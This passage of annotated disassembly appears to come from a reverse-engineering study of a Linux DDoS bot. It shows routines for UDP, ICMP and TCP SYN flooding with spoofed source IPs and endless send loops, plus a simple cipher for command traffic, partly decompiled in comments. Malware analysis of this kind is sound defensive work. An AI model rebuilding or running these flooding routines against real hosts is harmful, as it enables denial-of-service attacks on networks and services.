	  mov	bl, [ebp+source_ip4]
	  mov	word ptr [ebp+ip_paquet.payload+0Ch], AF_INET
	  call	___random
	  mov	ecx, 255
	  cdq
	  idiv	ecx
	  mov	eax, edx
	  xchg	al, ah
	  mov	word ptr [ebp+ip_paquet.payload+0Eh], ax
	  movzx	eax, bl
	  push	eax
	  movzx	eax, byte ptr [ebp+tmp_source_ip3]
	  push	eax
	  movzx	eax, byte ptr [ebp+tmp_source_ip2]
	  push	eax
	  movzx	eax, byte ptr [ebp+tmp_source_ip1]
	  push	eax
	  push	offset aD_D_D_D		; format
	  lea	esi, [ebp+tmp_source_ip_str]
	  push	esi			; str
	  call	__IO_sprintf
	  add	esp, 18h
	  cmp	[ebp+use_destination_hostname],	0
	  jnz	short loc_8049ABE
	  movzx	eax, byte ptr [ebp+tmp_destination_ip4]
	  push	eax
	  movzx	eax, byte ptr [ebp+tmp_destination_ip3]
	  push	eax
	  movzx	eax, byte ptr [ebp+tmp_destination_ip2]
	  push	eax
	  movzx	eax, byte ptr [ebp+tmp_destination_ip1]
	  push	eax
	  push	offset aD_D_D_D		; format
	  lea	ebx, [ebp+tmp_destination_ip_str]
	  push	ebx			; str
	  call	__IO_sprintf
	  push	ebx			; char *
	  call	_inet_addr
	  mov	dword ptr [ebp+ip_paquet.payload+10h], eax
	  add	esp, 1Ch

loc_8049ABE:				; CODE XREF: f_send_udp_or_icmp_echo+94j
	  push	255			; protocol
	  push	SOCK_RAW		; type
	  push	AF_INET			; domain
	  call	_socket
	  mov	[ebp+socket], eax
	  add	esp, 0Ch
	  test	eax, eax
	  jle	end
	  mov	[ebp+ip_paquet.version_length],	45h
	  mov	[ebp+ip_paquet.total_length], 7208
	  mov	[ebp+ip_paquet.id], 5504h ; 1109
	  call	___random
	  mov	ecx, 82h
	  cdq
	  idiv	ecx
	  add	dl, 120
	  mov	[ebp+ip_paquet.ttl], dl
	  push	esi			; char *
	  call	_inet_addr
	  mov	[ebp+ip_paquet.source_ip], eax
	  add	esp, 4
	  cmp	[ebp+use_destination_hostname],	0
	  jnz	short loc_8049B21	; 1FFEh	= 8190d	= 65520/8
	  lea	eax, [ebp+tmp_destination_ip_str]
	  push	eax			; char *
	  call	_inet_addr
	  mov	[ebp+ip_paquet.destination_ip],	eax
	  add	esp, 4

loc_8049B21:				; CODE XREF: f_send_udp_or_icmp_echo+11Cj
	  mov	[ebp+ip_paquet.fragmentation], 0FE1Fh ;	1FFEh =	8190d =	65520/8
	  mov	[ebp+ip_paquet.checksum], 0
	  cmp	[ebp+use_udp], 0
	  jz	short icmp
	  mov	[ebp+ip_paquet.protocol], IPPROTO_UDP
	  call	___random
	  mov	ecx, 255
	  cdq
	  idiv	ecx
	  mov	eax, edx
	  xchg	al, ah
	  mov	[ebp+ip_paquet.payload.udp.source_port], ax
	  mov	ax, [ebp+destination_port]
	  xchg	al, ah
	  mov	[ebp+ip_paquet.payload.udp.destination_port], ax
	  mov	[ebp+ip_paquet.payload.udp.length], 2304
	  mov	edx, 9
	  lea	esi, [ebp+ip_paquet.payload.udp.source_port]
	  xor	ebx, ebx
	  mov	[ebp+tmp_checksum], 0

loc_8049B6C:				; CODE XREF: f_send_udp_or_icmp_echo+186j
	  movzx	eax, word ptr [esi]
	  add	ebx, eax
	  add	esi, 2
	  add	edx, 0FFFFFFFEh
	  cmp	edx, 1
	  jg	short loc_8049B6C
	  jnz	short loc_8049B89
	  mov	al, [esi]
	  mov	byte ptr [ebp+tmp_checksum], al
	  movzx	eax, [ebp+tmp_checksum]
	  add	ebx, eax

loc_8049B89:				; CODE XREF: f_send_udp_or_icmp_echo+188j
	  mov	edx, ebx
	  sar	edx, 10h
	  movzx	eax, bx
	  lea	ebx, [eax+edx]
	  mov	eax, ebx
	  sar	eax, 10h
	  add	ebx, eax
	  mov	eax, ebx
	  not	ax
	  mov	[ebp+tmp_checksum], ax
	  mov	[ebp+ip_paquet.payload.udp.checksum], ax
	  mov	[ebp+ip_paquet.payload.udp.payload], 61h
	  jmp	short checksum_compute	; 20+9
; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД
	  align	4

icmp:					; CODE XREF: f_send_udp_or_icmp_echo+13Dj
	  mov	[ebp+ip_paquet.protocol], IPPROTO_ICMP
	  mov	[ebp+ip_paquet.payload.icmp.type], 8
	  mov	[ebp+ip_paquet.payload.icmp.code], 0
	  mov	[ebp+ip_paquet.payload.icmp.checksum], 0
	  mov	edx, 9
	  lea	esi, [ebp+ip_paquet.payload]
	  xor	ebx, ebx
	  mov	[ebp+tmp_checksum], 0
	  lea	esi, [esi]

loc_8049BD4:				; CODE XREF: f_send_udp_or_icmp_echo+1EEj
	  movzx	eax, word ptr [esi]
	  add	ebx, eax
	  add	esi, 2
	  add	edx, 0FFFFFFFEh
	  cmp	edx, 1
	  jg	short loc_8049BD4
	  jnz	short loc_8049BF1
	  mov	al, [esi]
	  mov	byte ptr [ebp+tmp_checksum], al
	  movzx	eax, [ebp+tmp_checksum]
	  add	ebx, eax

loc_8049BF1:				; CODE XREF: f_send_udp_or_icmp_echo+1F0j
	  mov	edx, ebx
	  sar	edx, 10h
	  movzx	eax, bx
	  lea	ebx, [eax+edx]
	  mov	eax, ebx
	  sar	eax, 10h
	  add	ebx, eax
	  mov	eax, ebx
	  not	ax
	  mov	[ebp+tmp_checksum], ax
	  mov	[ebp+ip_paquet.payload.icmp.checksum], ax

checksum_compute:			; CODE XREF: f_send_udp_or_icmp_echo+1B8j
	  mov	[ebp+size], 29		; 20+9
	  mov	edx, 20
	  lea	esi, [ebp+ip_paquet]
	  xor	ebx, ebx
	  mov	[ebp+tmp_checksum], 0
	  lea	esi, [esi]

checksum_loop:				; CODE XREF: f_send_udp_or_icmp_echo+246j
	  movzx	eax, word ptr [esi]
	  add	ebx, eax
	  add	esi, 2
	  add	edx, 0FFFFFFFEh
	  cmp	edx, 1
	  jg	short checksum_loop
	  jnz	short loc_8049C49
	  mov	al, [esi]
	  mov	byte ptr [ebp+tmp_checksum], al
	  movzx	eax, [ebp+tmp_checksum]
	  add	ebx, eax

loc_8049C49:				; CODE XREF: f_send_udp_or_icmp_echo+248j
	  mov	edx, ebx
	  sar	edx, 10h
	  movzx	eax, bx
	  lea	ebx, [eax+edx]
	  mov	eax, ebx
	  sar	eax, 10h
	  add	ebx, eax
	  mov	eax, ebx
	  not	ax
	  mov	[ebp+tmp_checksum], ax
	  mov	[ebp+ip_paquet.checksum], ax
	  xor	ebx, ebx
	  lea	ecx, [ebp+ip_paquet.payload.icmp.checksum+0Ah]
	  mov	[ebp+p_to], ecx
	  lea	edi, [ebp+ip_paquet]
	  lea	esi, [esi]

infinite_loop_send:			; CODE XREF: f_send_udp_or_icmp_echo+32Aj
	  xor	esi, esi
	  cmp	[ebp+use_destination_hostname],	0
	  jz	short loc_8049CCE
	  test	ebx, ebx
	  jg	short loc_8049CCE
	  mov	ecx, [ebp+destination_hostname]
	  push	ecx			; char *
	  call	_gethostbyname
	  mov	edx, eax
	  add	esp, 4
	  test	edx, edx
	  jnz	short gethostbyname_ok
	  push	600			; seconds
	  call	_sleep
	  mov	esi, 1
	  add	esp, 4
	  jmp	short loc_8049CCE
; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД
	  align	4

gethostbyname_ok:			; CODE XREF: f_send_udp_or_icmp_echo+2A0j
	  push	4			; size_t
	  lea	eax, [ebp+tmp_hostname_ip]
	  push	eax			; dst
	  mov	eax, [edx+hostent.h_addr_list]
	  mov	eax, [eax]
	  push	eax			; src
	  call	_bcopy
	  mov	eax, [ebp+tmp_hostname_ip]
	  mov	[ebp+ip_paquet.destination_ip],	eax
	  mov	dword ptr [ebp+ip_paquet.payload+10h], eax
	  mov	ebx, 40000
	  add	esp, 0Ch

loc_8049CCE:				; CODE XREF: f_send_udp_or_icmp_echo+28Aj
					; f_send_udp_or_icmp_echo+28Ej	...
	  test	esi, esi
	  jnz	short loc_8049D1D
	  push	16			; tolen
	  mov	ecx, [ebp+p_to]
	  push	ecx			; to
	  push	0			; flags
	  mov	ecx, [ebp+size]
	  push	ecx			; len
	  push	edi			; buf
	  mov	ecx, [ebp+socket]
	  push	ecx			; s
	  call	_sendto
	  push	16			; tolen
	  mov	ecx, [ebp+p_to]
	  push	ecx			; to
	  push	0			; flags
	  mov	ecx, [ebp+size]
	  push	ecx			; len
	  push	edi			; buf
	  mov	ecx, [ebp+socket]
	  push	ecx			; s
	  call	_sendto
	  add	esp, 30h
	  push	14h
	  call	_usleep
	  add	esp, 4

loc_8049D1D:				; CODE XREF: f_send_udp_or_icmp_echo+2DCj
	  dec	ebx
	  jmp	infinite_loop_send
; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД
	  align	4

end:					; CODE XREF: f_send_udp_or_icmp_echo+E3j
	  mov	ds:pid_current_task, 0	; PID of a forked task
	  xor	eax, eax
	  lea	esp, [ebp-0ACh]
	  pop	ebx
	  pop	esi
	  pop	edi
	  mov	esp, ebp
	  pop	ebp
	  retn
f_send_udp_or_icmp_echo	endp

; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД
	  align	4

; ЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫ S U B	R O U T	I N E ЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫ

; called  by case 9, A
; Attributes: bp-based frame

; int __cdecl f_send_tcp_syn(char destination_ip1,char destination_ip2,char destination_ip3,char destination_ip4,int destination_port1,__int16 destination_port2,int no_random_source_ip,char source_ip1,char source_ip2,char source_ip3,char source_ip4,int count,int use_destination_hostname,char *destination_hostname)
f_send_tcp_syn proc near		; CODE XREF: f_main+BC4p f_main+C9Ep

var_D8	  = byte ptr -0D8h
var_CC	  = dword ptr -0CCh
tmp_destination_ip4= byte ptr -0C8h
var_C4	  = dword ptr -0C4h
socket	  = dword ptr -0C0h
tmp_source_ip4=	byte ptr -0BCh
tmp_source_ip3=	byte ptr -0B8h
tmp_source_ip2=	byte ptr -0B4h
tmp_source_ip1=	byte ptr -0B0h
tmp_destination_ip3= byte ptr -0ACh
tmp_destination_ip2= byte ptr -0A8h
tmp_destination_ip1= byte ptr -0A4h
tmp_checksum= word ptr -9Eh
dst	  = byte ptr -9Ch
tmp_source_ip_str= byte	ptr -98h
tmp_destination_ip_str=	byte ptr -78h
var_58	  = dword ptr -58h
var_54	  = dword ptr -54h
var_50	  = byte ptr -50h
var_4F	  = byte ptr -4Fh
var_4E	  = word ptr -4Eh
var_4C	  = byte ptr -4Ch
ip_paquet = ip_paquet ptr -38h
var_E	  = word ptr -0Eh
var_C	  = dword ptr -0Ch
destination_ip1= byte ptr  8
destination_ip2= byte ptr  0Ch
destination_ip3= byte ptr  10h
destination_ip4= byte ptr  14h
destination_port1= dword ptr  18h
destination_port2= word	ptr  1Ch
no_random_source_ip= dword ptr	20h
source_ip1= byte ptr  24h
source_ip2= byte ptr  28h
source_ip3= byte ptr  2Ch
source_ip4= byte ptr  30h
count	  = dword ptr  34h
use_destination_hostname= dword	ptr  38h
destination_hostname= dword ptr	 3Ch

	  push	ebp
	  mov	ebp, esp
	  sub	esp, 0CCh
	  push	edi
	  push	esi
	  push	ebx
	  mov	bl, [ebp+destination_ip1]
	  mov	[ebp+tmp_destination_ip1], bl
	  mov	bl, [ebp+destination_ip2]
	  mov	[ebp+tmp_destination_ip2], bl
	  mov	bl, [ebp+destination_ip3]
	  mov	[ebp+tmp_destination_ip3], bl
	  mov	bl, [ebp+destination_ip4]
	  mov	[ebp+tmp_destination_ip4], bl
	  mov	bl, [ebp+source_ip1]
	  mov	[ebp+tmp_source_ip1], bl
	  mov	bl, [ebp+source_ip2]
	  mov	[ebp+tmp_source_ip2], bl
	  mov	bl, [ebp+source_ip3]
	  mov	[ebp+tmp_source_ip3], bl
	  mov	bl, [ebp+source_ip4]
	  mov	[ebp+tmp_source_ip4], bl
	  cmp	[ebp+count], 0
	  jz	short loc_8049D9D
	  dec	[ebp+count]

loc_8049D9D:				; CODE XREF: f_send_tcp_syn+58j
	  push	0
	  call	___libc_time
	  add	esp, 4
	  push	eax
	  call	___srandom
	  add	esp, 4
	  mov	word ptr [ebp+ip_paquet.payload+14h], AF_INET
	  call	___random
	  mov	ebx, 0FFh
	  cdq
	  idiv	ebx
	  mov	eax, edx
	  xchg	al, ah
	  mov	[ebp+var_E], ax
	  cmp	[ebp+use_destination_hostname],	0
	  jnz	short loc_8049E0B
	  movzx	eax, [ebp+tmp_destination_ip4]
	  push	eax
	  movzx	eax, [ebp+tmp_destination_ip3]
	  push	eax
	  movzx	eax, [ebp+tmp_destination_ip2]
	  push	eax
	  movzx	eax, [ebp+tmp_destination_ip1]
	  push	eax
	  push	offset aD_D_D_D		; format
	  lea	ebx, [ebp+tmp_destination_ip_str]
	  push	ebx			; str
	  call	__IO_sprintf
	  push	ebx			; char *
	  call	_inet_addr
	  mov	[ebp+var_C], eax
	  add	esp, 1Ch

loc_8049E0B:				; CODE XREF: f_send_tcp_syn+8Fj
	  mov	[ebp+ip_paquet.version_length],	45h
	  mov	[ebp+ip_paquet.total_length], 10240
	  mov	[ebp+ip_paquet.tos], 0
	  push	255			; protocol
	  push	SOCK_RAW		; type
	  push	AF_INET			; domain
	  call	_socket
	  mov	[ebp+socket], eax
	  add	esp, 0Ch
	  test	eax, eax
	  jle	loc_804A178
	  cmp	[ebp+no_random_source_ip], 0
	  jz	short loc_8049E72
	  movzx	eax, [ebp+tmp_source_ip4]
	  push	eax
	  movzx	eax, [ebp+tmp_source_ip3]
	  push	eax
	  movzx	eax, [ebp+tmp_source_ip2]
	  push	eax
	  movzx	eax, [ebp+tmp_source_ip1]
	  push	eax
	  push	offset aD_D_D_D		; format
	  lea	eax, [ebp+tmp_source_ip_str]
	  push	eax			; str
	  call	__IO_sprintf
	  add	esp, 18h

loc_8049E72:				; CODE XREF: f_send_tcp_syn+FCj
	  cmp	[ebp+use_destination_hostname],	0
	  jnz	short loc_8049E87
	  lea	eax, [ebp+tmp_destination_ip_str]
	  push	eax			; char *
	  call	_inet_addr
	  mov	[ebp+ip_paquet.destination_ip],	eax
	  add	esp, 4

loc_8049E87:				; CODE XREF: f_send_tcp_syn+136j
	  mov	[ebp+ip_paquet.fragmentation], 0
	  mov	[ebp+ip_paquet.protocol], IPPROTO_TCP
	  mov	al, [ebp+ip_paquet.payload.tcp.flags]
	  and	al, 0EFh
	  mov	[ebp+ip_paquet.payload.tcp.flags], al
	  mov	al, [ebp+ip_paquet.payload.tcp.header_length]
	  and	al, 0Fh
	  or	al, 50h
	  mov	[ebp+ip_paquet.payload.tcp.header_length], al
	  mov	[ebp+ip_paquet.payload.tcp.acknowledgment], 0
	  and	al, 50h
	  mov	[ebp+ip_paquet.payload.tcp.header_length], al
	  mov	[ebp+ip_paquet.payload.tcp.flags], 2 ; SYN
	  mov	[ebp+ip_paquet.payload.tcp.urgent], 0
	  mov	eax, [ebp+destination_port1]
	  shl	eax, 8
	  add	ax, [ebp+destination_port2]
	  xchg	al, ah
	  mov	[ebp+ip_paquet.payload.tcp.destination_port], ax
	  xor	edi, edi
	  mov	[ebp+var_50], 0
	  cmp	[ebp+use_destination_hostname],	0
	  jnz	short loc_8049EDB
	  mov	eax, [ebp+ip_paquet.destination_ip]
	  mov	[ebp+var_54], eax

loc_8049EDB:				; CODE XREF: f_send_tcp_syn+193j
	  mov	[ebp+var_4F], 6
	  mov	[ebp+var_4E], 1400h
	  xor	esi, esi
	  lea	ebx, [ebp+var_58]
	  mov	[ebp+var_C4], ebx

loc_8049EF0:				; CODE XREF: f_send_tcp_syn+222j
					; f_send_tcp_syn+429j ...
	  mov	[ebp+var_CC], 0
	  cmp	[ebp+use_destination_hostname],	0
	  jz	short loc_8049F5B
	  test	esi, esi
	  jg	short loc_8049F5B
	  mov	ebx, [ebp+destination_hostname]
	  push	ebx			; char *
	  call	_gethostbyname
	  mov	edx, eax
	  add	esp, 4
	  test	edx, edx
	  jnz	short loc_8049F30
	  push	600			; seconds
	  call	_sleep
	  mov	[ebp+var_CC], 1
	  add	esp, 4
	  jmp	short loc_8049F5B
; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД
	  align	4

loc_8049F30:				; CODE XREF: f_send_tcp_syn+1D4j
	  push	4			; size_t
	  lea	eax, [ebp+dst]
	  push	eax			; dst
	  mov	eax, [edx+10h]
	  mov	eax, [eax]
	  push	eax			; src
	  call	_bcopy
	  mov	eax, dword ptr [ebp+dst]
	  mov	[ebp+ip_paquet.destination_ip],	eax
	  mov	[ebp+var_C], eax
	  mov	[ebp+var_54], eax
	  mov	esi, 9C40h
	  add	esp, 0Ch

loc_8049F5B:				; CODE XREF: f_send_tcp_syn+1BEj
					; f_send_tcp_syn+1C2j ...
	  cmp	[ebp+var_CC], 0
	  jnz	short loc_8049EF0
	  call	_rand
	  mov	ebx, 0C11h
	  cdq
	  idiv	ebx
	  mov	eax, edx
	  add	ah, 2
	  xchg	al, ah
	  mov	[ebp+ip_paquet.id], ax
	  call	_rand
	  mov	ebx, 579h
	  cdq
	  idiv	ebx
	  mov	eax, edx
	  add	ax, 0C8h
	  xchg	al, ah
	  mov	[ebp+ip_paquet.payload.tcp.window], ax
	  call	_rand
	  mov	ebx, 9C40h
	  cdq
	  idiv	ebx
	  mov	eax, edx
	  inc	ax
	  xchg	al, ah
	  mov	[ebp+ip_paquet.payload.tcp.source_port], ax
	  call	_rand
	  mov	ebx, 2625A00h
	  cdq
	  idiv	ebx
	  lea	eax, [edx+1]
	  xchg	al, ah
	  ror	eax, 10h
	  xchg	al, ah
	  mov	[ebp+ip_paquet.payload.tcp.sequence], eax
	  call	_rand
	  mov	ebx, 74h
	  cdq
	  idiv	ebx
	  add	dl, 7Dh
	  mov	[ebp+ip_paquet.ttl], dl
	  cmp	[ebp+no_random_source_ip], 0
	  jnz	short loc_804A01C
	  call	___random
	  mov	ebx, 0FFh
	  cdq
	  idiv	ebx
	  push	edx
	  call	___random
	  cdq
	  idiv	ebx
	  push	edx
	  call	___random
	  cdq
	  idiv	ebx
	  push	edx
	  call	___random
	  cdq
	  idiv	ebx
	  push	edx
	  push	offset aU_U_U_U		; format
	  lea	eax, [ebp+tmp_source_ip_str]
	  push	eax			; str
	  call	__IO_sprintf
	  add	esp, 18h

loc_804A01C:				; CODE XREF: f_send_tcp_syn+29Dj
	  lea	eax, [ebp+tmp_source_ip_str]
	  push	eax			; char *
	  call	_inet_addr
	  mov	[ebp+ip_paquet.source_ip], eax
	  mov	[ebp+var_58], eax
	  mov	[ebp+ip_paquet.payload.tcp.checksum], 0
	  mov	[ebp+ip_paquet.checksum], 0
	  push	14h			; size_t
	  lea	eax, [ebp+var_4C]
	  push	eax			; dst
	  lea	eax, [ebp+ip_paquet.payload]
	  push	eax			; src
	  call	_bcopy
	  add	esp, 10h
	  mov	edx, 20h
	  mov	ebx, [ebp+var_C4]
	  mov	[ebp+var_CC], ebx
	  xor	ecx, ecx
	  mov	[ebp+tmp_checksum], 0

loc_804A068:				; CODE XREF: f_send_tcp_syn+342j
	  mov	ebx, [ebp+var_CC]
	  movzx	eax, word ptr [ebx]
	  add	ecx, eax
	  add	ebx, 2
	  mov	[ebp+var_CC], ebx
	  add	edx, 0FFFFFFFEh
	  cmp	edx, 1
	  jg	short loc_804A068
	  jnz	short loc_804A097
	  mov	al, [ebx]
	  mov	byte ptr [ebp+tmp_checksum], al
	  movzx	eax, [ebp+tmp_checksum]
	  add	ecx, eax

loc_804A097:				; CODE XREF: f_send_tcp_syn+344j
	  mov	edx, ecx
	  sar	edx, 10h
	  movzx	eax, cx
	  lea	ecx, [eax+edx]
	  mov	eax, ecx
	  sar	eax, 10h
	  add	ecx, eax
	  mov	eax, ecx
	  not	ax
	  mov	[ebp+tmp_checksum], ax
	  mov	[ebp+ip_paquet.payload.tcp.checksum], ax
	  mov	edx, 14h
	  lea	ebx, [ebp+ip_paquet]
	  mov	[ebp+var_CC], ebx
	  xor	ecx, ecx
	  mov	[ebp+tmp_checksum], 0
	  lea	esi, [esi]

loc_804A0D4:				; CODE XREF: f_send_tcp_syn+3AEj
	  mov	ebx, [ebp+var_CC]
	  movzx	eax, word ptr [ebx]
	  add	ecx, eax
	  add	ebx, 2
	  mov	[ebp+var_CC], ebx
	  add	edx, 0FFFFFFFEh
	  cmp	edx, 1
	  jg	short loc_804A0D4
	  jnz	short loc_804A103
	  mov	al, [ebx]
	  mov	byte ptr [ebp+tmp_checksum], al
	  movzx	eax, [ebp+tmp_checksum]
	  add	ecx, eax

loc_804A103:				; CODE XREF: f_send_tcp_syn+3B0j
	  mov	edx, ecx
	  sar	edx, 10h
	  movzx	eax, cx
	  lea	ecx, [eax+edx]
	  mov	eax, ecx
	  sar	eax, 10h
	  add	ecx, eax
	  mov	eax, ecx
	  not	ax
	  mov	[ebp+tmp_checksum], ax
	  mov	[ebp+ip_paquet.checksum], ax
	  push	16			; tolen
	  lea	eax, [ebp+ip_paquet.payload.tcp.payload]
	  push	eax			; to
	  push	0			; flags
	  push	40			; len
	  lea	eax, [ebp+ip_paquet]
	  push	eax			; buf
	  mov	ebx, [ebp+socket]
	  push	ebx			; s
	  call	_sendto
	  add	esp, 18h
	  cmp	[ebp+count], 0
	  jnz	short loc_804A154
	  push	300
	  call	_usleep
	  jmp	short loc_804A165
; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД

loc_804A154:				; CODE XREF: f_send_tcp_syn+406j
	  cmp	[ebp+count], edi
	  jnz	short loc_804A170
	  push	300
	  call	_usleep
	  xor	edi, edi

loc_804A165:				; CODE XREF: f_send_tcp_syn+412j
	  dec	esi
	  add	esp, 4
	  jmp	loc_8049EF0
; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД
	  align	4

loc_804A170:				; CODE XREF: f_send_tcp_syn+417j
	  inc	edi
	  jmp	loc_8049EF0
; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД
	  align	4

loc_804A178:				; CODE XREF: f_send_tcp_syn+F2j
	  mov	ds:pid_current_task, 0	; PID of a forked task
	  xor	eax, eax
	  lea	esp, [ebp-0D8h]
	  pop	ebx
	  pop	esi
	  pop	edi
	  mov	esp, ebp
	  pop	ebp
	  retn
f_send_tcp_syn endp

; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД
	  align	4

; ЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫ S U B	R O U T	I N E ЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫ

; Attributes: bp-based frame

; int __cdecl f_encrypt(int size,char *p_source,char *p_destination)
f_encrypt proc near			; CODE XREF: f_main+286p f_main+582p

var_C	  = byte ptr -0Ch
size	  = dword ptr  8
p_source  = dword ptr  0Ch
p_destination= dword ptr  10h

	  push	ebp
	  mov	ebp, esp
	  push	edi
	  push	esi
	  push	ebx
	  mov	edi, [ebp+size]
	  mov	esi, [ebp+p_source]
	  mov	ebx, [ebp+p_destination]
	  mov	al, ds:null_byte
	  mov	[ebx], al
p_destination[0] = 0;
	  mov	al, [esi]
	  add	al, 23
substraction_result = p_source[0] + 23;
	  movsx	eax, al
	  push	eax
	  push	offset aC		; format
	  push	ebx			; str
	  call	__IO_sprintf
sprintf(p_destination, "%c", substraction_result);
	  mov	ecx, 1
ecx = 1;
	  cmp	ecx, edi
	  jz	short loc_804A1DD
if (size != 0) {
	  nop
 do {

loc_804A1C8:				; CODE XREF: f_encrypt+47j
	  movzx	edx, byte ptr [ebx+ecx-1] ; edx	<- p_destination[ecx - 1]
	  movzx	eax, byte ptr [ecx+esi]	; eax <- p_source[ecx];
	  lea	eax, [edx+eax+23]	; eax <- edx + eax + 23;
	  mov	[ecx+ebx], al		; p_destination[ecx] <-	al
  p_destination[ecx] = p_destination[ecx - 1] +	p_source[ecx] +	23;
	  inc	ecx
  ecx++;
	  cmp	ecx, edi
	  jnz	short loc_804A1C8	; edx <- p_destination[ecx - 1]
 } while (ecx <	size);

}

loc_804A1DD:				; CODE XREF: f_encrypt+31j
	  lea	esp, [ebp-0Ch]
	  pop	ebx
	  pop	esi
	  pop	edi
	  mov	esp, ebp
	  pop	ebp
	  retn
f_encrypt endp

; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД
	  align	4

; ЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫ S U B	R O U T	I N E ЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫ

; decrypt p_source to p_destination
; Attributes: bp-based frame

; int __cdecl f_decrypt(int size,char *p_source,char *p_destination)
f_decrypt proc near			; CODE XREF: f_main+1D8p

var_10	  = byte ptr -10h
p_tmp	  = dword ptr -4
size	  = dword ptr  8
p_source  = dword ptr  0Ch
p_destination= dword ptr  10h

	  push	ebp
	  mov	ebp, esp
	  sub	esp, 4
	  push	edi
	  push	esi
	  push	ebx
	  mov	edi, [ebp+size]		; edi =	size
	  lea	ebx, [edi-1]		; ebx =	size - 1
	  lea	eax, [edi+3]		; eax =	size + 3
	  and	al, 11111100b		; eax =	payload_size aligned on	dword
	  sub	esp, eax		; allocate a temporary buffer on the stack
	  mov	[ebp+p_tmp], esp	; p_tmp	= temporary buffer on the stack
p_tmp =	calloc(size rounded to dword);

	  mov	al, ds:null_byte	; al = 0
	  mov	esi, [ebp+p_destination]
	  mov	[esi], al		; p_destination[0] = 0
p_destination[0] = 0;

	  test	ebx, ebx
	  jl	end			; if (payload_size == 0)
if (size-1 == 0) return;

for (ebx = size-1; ebx >= 0; ebx--) {

loop:					; CODE XREF: f_decrypt+ADj
	  lea	edx, [ebx-1]		; edx =	ebx - 1
	  test	ebx, ebx
	  jz	short ebx_is_0		; ebx is at the	beginning of the payload
 if (ebx != 0) {
	  mov	esi, [ebp+p_source]	; esi =	p_source (= payload+2)
	  movzx	eax, byte ptr [ebx+esi]	; eax =	byte [payload +	2 + ebx]
	  movzx	edx, byte ptr [edx+esi]	; edx =	byte [payload +	2 + ebx	- 1]
	  sub	eax, edx		; eax =	payload[ebx] - payload[ebx-1]
  substraction_result =	p_source[ebx] -	p_source[ebx-1];
	  jmp	short decrypted1	; ecx =	payload[ebx] - payload[ebx-1] -	23
 }
; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД
	  align	4
 else {

ebx_is_0:				; CODE XREF: f_decrypt+31j
	  mov	esi, [ebp+p_source]	; ebx is at the	beginning of the payload
	  movzx	eax, byte ptr [esi]
  substraction_result =	p_source[0];
 }

decrypted1:				; CODE XREF: f_decrypt+40j
	  lea	ecx, [eax-23]		; ecx =	payload[ebx] - payload[ebx-1] -	23
 substraction_result -=	23;
	  test	ecx, ecx
	  jge	short greater_or_equal1	; edx =	0
 if (substraction_result != 0) {
	  lea	esi, [esi+0]

  do {

tiny_loop1:				; CODE XREF: f_decrypt+5Aj
	  add	ecx, 256		; add 256 to value until not signed
   substraction_result += 256;
	  js	short tiny_loop1	; jump near if sign
  } while (substraction_result is signed);
 }

greater_or_equal1:			; CODE XREF: f_decrypt+4Fj
	  xor	edx, edx		; edx =	0
	  cmp	edx, edi
	  jge	short greater_or_equal2	; esi =	p_destination
 if (size != 0)	{
	  lea	esi, [esi]

loop1:					; CODE XREF: f_decrypt+73j
	  mov	esi, [ebp+p_destination]
	  mov	al, [edx+esi]		; al = p_destination[edx]
	  mov	esi, [ebp+p_tmp]
	  mov	[edx+esi], al		; p_tmp[edx] = al
	  inc	edx			; edx++
	  cmp	edx, edi		; while	(edx < payload_size)
	  jl	short loop1
  memcpy(p_tmp,	p_destination, size);
 }

greater_or_equal2:			; CODE XREF: f_decrypt+60j
	  mov	esi, [ebp+p_destination] ; esi = p_destination
	  mov	[esi], cl		; p_destination[0] = substraction_result
 p_destination[0] = substractio_result;
	  mov	edx, 1			; edx =	1
	  cmp	edx, edi
	  jge	short payload_size_equal_0 ; esi = p_tmp
 if (size != 1)	{
	  nop

loop2:					; CODE XREF: f_decrypt+94j
	  mov	esi, [ebp+p_tmp]	; esi =	p_tmp
	  mov	al, [edx+esi-1]		; al = [p_tmp +	esi - 1]
	  mov	esi, [ebp+p_destination] ; esi = p_destination
	  mov	[edx+esi], al		; p_destination[edx] = al
	  inc	edx			; edx++
	  cmp	edx, edi		; while	(edx < payload_size)
	  jl	short loop2		; esi =	p_tmp
  memcpy(p_destination+1, p_tmp, size-1);
 }

payload_size_equal_0:			; CODE XREF: f_decrypt+81j
	  mov	esi, [ebp+p_tmp]	; esi =	p_tmp
	  push	esi			; "%s" on p_tmp
	  push	ecx			; "%c" on result of substraction
	  push	offset aCS		; format
